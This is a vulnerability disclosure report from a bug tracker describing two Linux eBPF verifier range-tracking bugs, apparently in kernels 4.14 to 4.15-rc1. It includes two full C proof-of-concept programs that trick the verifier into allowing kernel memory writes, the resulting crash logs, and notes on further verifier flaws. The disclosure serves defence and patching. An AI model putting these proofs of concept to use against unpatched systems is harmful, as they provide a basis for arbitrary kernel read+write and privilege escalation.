New issue
Advanced search Search tips
Starred by 3 users
Status: Fixed
Owner:
Closed: Jan 17
Cc:


Show other hotlists

Hotlists containing this issue:
Hotlist-1
Hotlist-2


Sign in to add a comment
arbitrary read+write via incorrect range tracking in eBPF
Project Member Reported by jannh@google.com, Dec 4 Back to list
Since commit f1174f77b50c ("bpf/verifier: rework value tracking"), the eBPF
range tracking is security-relevant for the verification of eBPF code provided
by unprivileged users. Therefore, any tiny slip-up in the arithmetic range
tracking now turns into an arbitrary read+write in the full kernel address
space, which is easily exploitable. The following two bugs are such issues.
Luckily, f1174f77b50c is relatively recent and was only shipped in v4.14:

$ git describe --contains f1174f77b50c
v4.14-rc1~130^2~327^2~11




check_alu_op() doesn't distinguish between
BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit) and
BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit);
it performs sign extension in both cases. The sometimes incorrect conversion
occurs implicitly in the following function call:

    __mark_reg_known(regs + insn->dst_reg, insn->imm);

Here is a crasher that tries to write to a noncanonical address:

======================================
user@debian:~/bpf_range$ cat crasher_badimm.c 
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 8,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        // fill r0 with pointer to map value
        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
        BPF_EXIT_INSN(), // exit

        // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff
        BPF_MOV32_IMM(BPF_REG_1, 0xffffffff),
        // r1 = 0x1'0000'0000, mistreated as 0
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
        // r1 = 0x1000'0000'0000'0000, mistreated as 0
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28),

        // compute noncanonical pointer
        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

        // crash by writing to noncanonical pointer
        BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

        // terminate to make the verifier happy
        BPF_MOV32_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}
user@debian:~/bpf_range$ gcc -o crasher_badimm crasher_badimm.c -Wall && ./crasher_badimm
ok so far?
Segmentation fault
======================================


Here is the resulting crash (note the corrupted heap address in R15):

======================================
[10599.403881] general protection fault: 0000 [#6] SMP KASAN
[10599.403886] Modules linked in: binfmt_misc snd_hda_codec_generic crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_intel snd_hda_codec pcbc snd_hda_core qxl snd_hwdep snd_pcm snd_timer ttm aesni_intel snd ppdev aes_x86_64 drm_kms_helper parport_pc crypto_simd soundcore glue_helper drm parport evdev cryptd sg serio_raw pcspkr virtio_console virtio_balloon button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto sr_mod cdrom sd_mod ata_generic 8139too ehci_pci ata_piix uhci_hcd libata ehci_hcd 8139cp crc32c_intel mii virtio_pci psmouse usbcore virtio_ring scsi_mod virtio i2c_piix4 floppy
[10599.403952] CPU: 7 PID: 1610 Comm: crasher_badimm Tainted: G    B D          4.15.0-rc1+ #4
[10599.403954] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[10599.403957] task: 000000004ae6ce3e task.stack: 000000006149ccc2
[10599.403963] RIP: 0010:___bpf_prog_run+0x1a77/0x2490
[10599.403966] RSP: 0018:ffff8801ef6bf838 EFLAGS: 00010292
[10599.403969] RAX: 0000000000000000 RBX: ffffc900016150b8 RCX: ffffffff866483d7
[10599.403971] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac393b78
[10599.403974] RBP: ffff8801ef6bf968 R08: 0000000000000000 R09: 0000000000000000
[10599.403976] R10: 0000000000000001 R11: ffffed00358726b9 R12: ffffffff870be980
[10599.403978] R13: 1ffff1003ded7f0e R14: 00000000deadbeef R15: 0fff8801ac393b78
[10599.403981] FS:  00007fd705b43700(0000) GS:ffff8801f77c0000(0000) knlGS:0000000000000000
[10599.403984] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[10599.403986] CR2: 0000561c31a24008 CR3: 00000001b153b002 CR4: 00000000001606e0
[10599.403991] Call Trace:
[10599.403997]  ? sk_filter_trim_cap+0x5c/0x4e0
[10599.404000]  ? bpf_jit_compile+0x30/0x30
[10599.404006]  ? alloc_skb_with_frags+0x90/0x2c0
[10599.404010]  ? __bpf_prog_run32+0x83/0xc0
[10599.404013]  ? __bpf_prog_run64+0xc0/0xc0
[10599.404017]  ? sk_filter_trim_cap+0x5c/0x4e0
[10599.404022]  ? sk_filter_trim_cap+0xf7/0x4e0
[10599.404028]  ? unix_dgram_sendmsg+0x3e2/0x960
[10599.404033]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404036]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404040]  ? sock_alloc_inode+0x46/0x110
[10599.404043]  ? unix_stream_connect+0x840/0x840
[10599.404046]  ? __sock_create+0x7f/0x2c0
[10599.404049]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404054]  ? __lock_acquire.isra.31+0x2d/0xb40
[10599.404059]  ? __wake_up_common_lock+0xaf/0x130
[10599.404065]  ? unix_stream_connect+0x840/0x840
[10599.404068]  ? sock_sendmsg+0x6b/0x80
[10599.404071]  ? sock_write_iter+0x11d/0x1d0
[10599.404075]  ? sock_sendmsg+0x80/0x80
[10599.404080]  ? do_raw_spin_unlock+0x86/0x120
[10599.404084]  ? iov_iter_init+0x77/0xb0
[10599.404089]  ? __vfs_write+0x23e/0x340
[10599.404092]  ? kernel_read+0xa0/0xa0
[10599.404098]  ? __fd_install+0x5/0x160
[10599.404102]  ? __fget_light+0x9b/0xb0
[10599.404107]  ? vfs_write+0xe9/0x240
[10599.404110]  ? SyS_write+0xa7/0x130
[10599.404121]  ? SyS_read+0x130/0x130
[10599.404125]  ? lockdep_sys_exit+0x16/0x8e
[10599.404129]  ? lockdep_sys_exit_thunk+0x16/0x2b
[10599.404133]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404138] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 43 01 
[10599.404200] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801ef6bf838
[10599.404204] ---[ end trace e8c17e9abe81bd46 ]---
======================================




The second bug is a mistake in coerce_reg_to_32(). This function is used to
handle the implicit truncation to 32 bits caused by the use of 32-bit ALU
instructions and contains the following code:

    static void coerce_reg_to_32(struct bpf_reg_state *reg)
    {
            /* clear high 32 bits */
            reg->var_off = tnum_cast(reg->var_off, 4);
            /* Update bounds */
            __update_reg_bounds(reg);
    }

This first mirrors the clearing of the high 32 bits in the bitwise tristate
representation, which is correct. But then, it computes the new arithmetic
bounds as the intersection between the old arithmetic bounds and the bounds
resulting from the bitwise tristate representation. Therefore, when
coerce_reg_to_32() is called on a number with bounds
[0xffff'fff8, 0x1'0000'0007], the verifier computes [0xffff'fff8, 0xffff'ffff]
as bounds of the truncated number. This is incorrect: The truncated number
could also be in the range [0, 7], and no meaningful arithmetic bounds can be
computed (apart from the obvious [0, 0xffff'ffff]).

The same bug seems to be present in the other places that call tnum_cast().

Here is a crasher that uses this to again write to a noncanonical address:


======================================
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 8,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        // fill r3 with value in range [0x0, 0xf], actually 0x8:
        // first load map value pointer...
        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
        BPF_EXIT_INSN(), // exit

        // ... then write, read, mask map value
        // (tracing actual values through a map is impossible)
        BPF_MOV32_IMM(BPF_REG_3, 8),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_3, 0),
        BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_0, 0),
        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 0xf),

        // load r1=0xffff'fff8 while working around the first verifier bug
        BPF_MOV32_IMM(BPF_REG_1, 0xfffffff8>>1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_1),

        // r1 in range [0xffff'fff8, 0x1'0000'0007]
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),

        // load r2=0
        BPF_MOV32_IMM(BPF_REG_2, 0),

        // trigger verifier bug:
        // visible range: [0xffff'fff8, 0xffff'ffff]
        // hidden range: [0, 7]
        // actual value: 0
        BPF_ALU32_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),

        // collapse down: verifier sees 1, actual value 0
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 31),

        // flip: verifier sees 0, actual value 1
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, -1),

        // r1 = 0x1000'0000'0000'0000, verifier sees 0
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 60),

        // compute noncanonical pointer
        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

        // crash by writing to noncanonical pointer
        BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

        // terminate to make the verifier happy
        BPF_MOV32_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}
user@debian:~/bpf_range$ gcc -o crasher_badtrunc crasher_badtrunc.c -Wall && ./crasher_badtrunc
ok so far?
Segmentation fault
======================================


Here's the resulting crash:

======================================
[  117.274571] general protection fault: 0000 [#2] SMP KASAN
[  117.274575] Modules linked in: binfmt_misc snd_hda_codec_generic qxl snd_hda_intel snd_hda_codec ttm snd_hda_core drm_kms_helper snd_hwdep crct10dif_pclmul snd_pcm drm crc32_pclmul ghash_clmulni_intel snd_timer pcbc aesni_intel aes_x86_64 snd crypto_simd evdev glue_helper soundcore ppdev cryptd virtio_balloon sg virtio_console serio_raw parport_pc parport pcspkr button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto sr_mod sd_mod cdrom ata_generic 8139too ehci_pci virtio_pci crc32c_intel ata_piix uhci_hcd psmouse virtio_ring virtio floppy ehci_hcd libata usbcore scsi_mod 8139cp i2c_piix4 mii
[  117.274640] CPU: 1 PID: 1197 Comm: crasher_badtrun Tainted: G    B D          4.15.0-rc1+ #4
[  117.274642] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  117.274645] task: 00000000a02f12e8 task.stack: 0000000051644a73
[  117.274651] RIP: 0010:___bpf_prog_run+0x1a77/0x2490
[  117.274654] RSP: 0018:ffff8801af4e7838 EFLAGS: 00010292
[  117.274657] RAX: 0000000000000000 RBX: ffffc90001305108 RCX: ffffffff928483d7
[  117.274659] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac81e0f8
[  117.274661] RBP: ffff8801af4e7968 R08: 0000000000000000 R09: 0000000000000000
[  117.274664] R10: 0000000000000001 R11: ffffed003dfa0601 R12: ffffffff932be980
[  117.274666] R13: 1ffff10035e9cf0e R14: 00000000deadbeef R15: 0fff8801ac81e0f8
[  117.274669] FS:  00007f3efe927700(0000) GS:ffff8801f7640000(0000) knlGS:0000000000000000
[  117.274671] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  117.274674] CR2: 00005654507a9008 CR3: 00000001ec086003 CR4: 00000000001606e0
[  117.274678] Call Trace:
[  117.274685]  ? sk_filter_trim_cap+0x5c/0x4e0
[  117.274688]  ? bpf_jit_compile+0x30/0x30
[  117.274693]  ? alloc_skb_with_frags+0x90/0x2c0
[  117.274697]  ? __bpf_prog_run32+0x83/0xc0
[  117.274700]  ? __bpf_prog_run64+0xc0/0xc0
[  117.274705]  ? sk_filter_trim_cap+0x5c/0x4e0
[  117.274710]  ? sk_filter_trim_cap+0xf7/0x4e0
[  117.274715]  ? unix_dgram_sendmsg+0x3e2/0x960
[  117.274720]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274724]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274728]  ? sock_alloc_inode+0x46/0x110
[  117.274731]  ? unix_stream_connect+0x840/0x840
[  117.274734]  ? __sock_create+0x7f/0x2c0
[  117.274737]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274742]  ? __lock_acquire.isra.31+0x2d/0xb40
[  117.274746]  ? __wake_up_common_lock+0xaf/0x130
[  117.274752]  ? unix_stream_connect+0x840/0x840
[  117.274755]  ? sock_sendmsg+0x6b/0x80
[  117.274759]  ? sock_write_iter+0x11d/0x1d0
[  117.274762]  ? sock_sendmsg+0x80/0x80
[  117.274768]  ? do_raw_spin_unlock+0x86/0x120
[  117.274782]  ? iov_iter_init+0x77/0xb0
[  117.274786]  ? __vfs_write+0x23e/0x340
[  117.274799]  ? kernel_read+0xa0/0xa0
[  117.274805]  ? __fd_install+0x5/0x160
[  117.274809]  ? __fget_light+0x9b/0xb0
[  117.274813]  ? vfs_write+0xe9/0x240
[  117.274817]  ? SyS_write+0xa7/0x130
[  117.274820]  ? SyS_read+0x130/0x130
[  117.274823]  ? lockdep_sys_exit+0x16/0x8e
[  117.274827]  ? lockdep_sys_exit_thunk+0x16/0x2b
[  117.274831]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274836] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 43 01 
[  117.274885] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801af4e7838
[  117.274888] ---[ end trace e84b3275ee7b48c9 ]---
======================================


I just noticed that there may be a remaining issue:
adjust_scalar_min_max_vals() only truncates its inputs and otherwise operates on
64-bit numbers while the BPF interpreter and JIT perform 32-bit arithmetic.
AFAICS this means that the output of e.g. `(u32)0x40000000*(u32)5` will be
incorrect. To test this, you can use the following BPF code:

        BPF_MOV32_IMM(BPF_REG_1, 0x40000000),
        BPF_ALU32_IMM(BPF_MUL, BPF_REG_1, 5),
        BPF_EXIT_INSN()

The verifier generates the following output, which is, as far as I can tell,
incorrect:

        0: R1=ctx(id=0,off=0,imm=0) R10=fp0
        0: (b4) (u32) r1 = (u32) 1073741824
        1: R1=inv1073741824 R10=fp0
        1: (24) (u32) r1 *= (u32) 5
        2: R1=inv5368709120 R10=fp0
        2: (95) exit
        R0 !read_ok

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Project Member Comment 1 by jannh@google.com, Dec 4
Description: Show this description
Project Member Comment 2 by jannh@google.com, Dec 6
Some more:

 - Edward's patch "bpf/verifier: fix bounds calculation on BPF_RSH"
   in response to my report about a bug I thought to be unexploitable
   actually fixes an exploitable bug.
 - check_stack_boundary() prints an error into the verifier log, but doesn't
   exit, when a stack pointer doesn't have a known offset. This should be
   usable to get read+write access to spilled stack pointers.
Comment 3 Deleted
Project Member Comment 4 by jannh@google.com, Dec 18
Description: Show this description
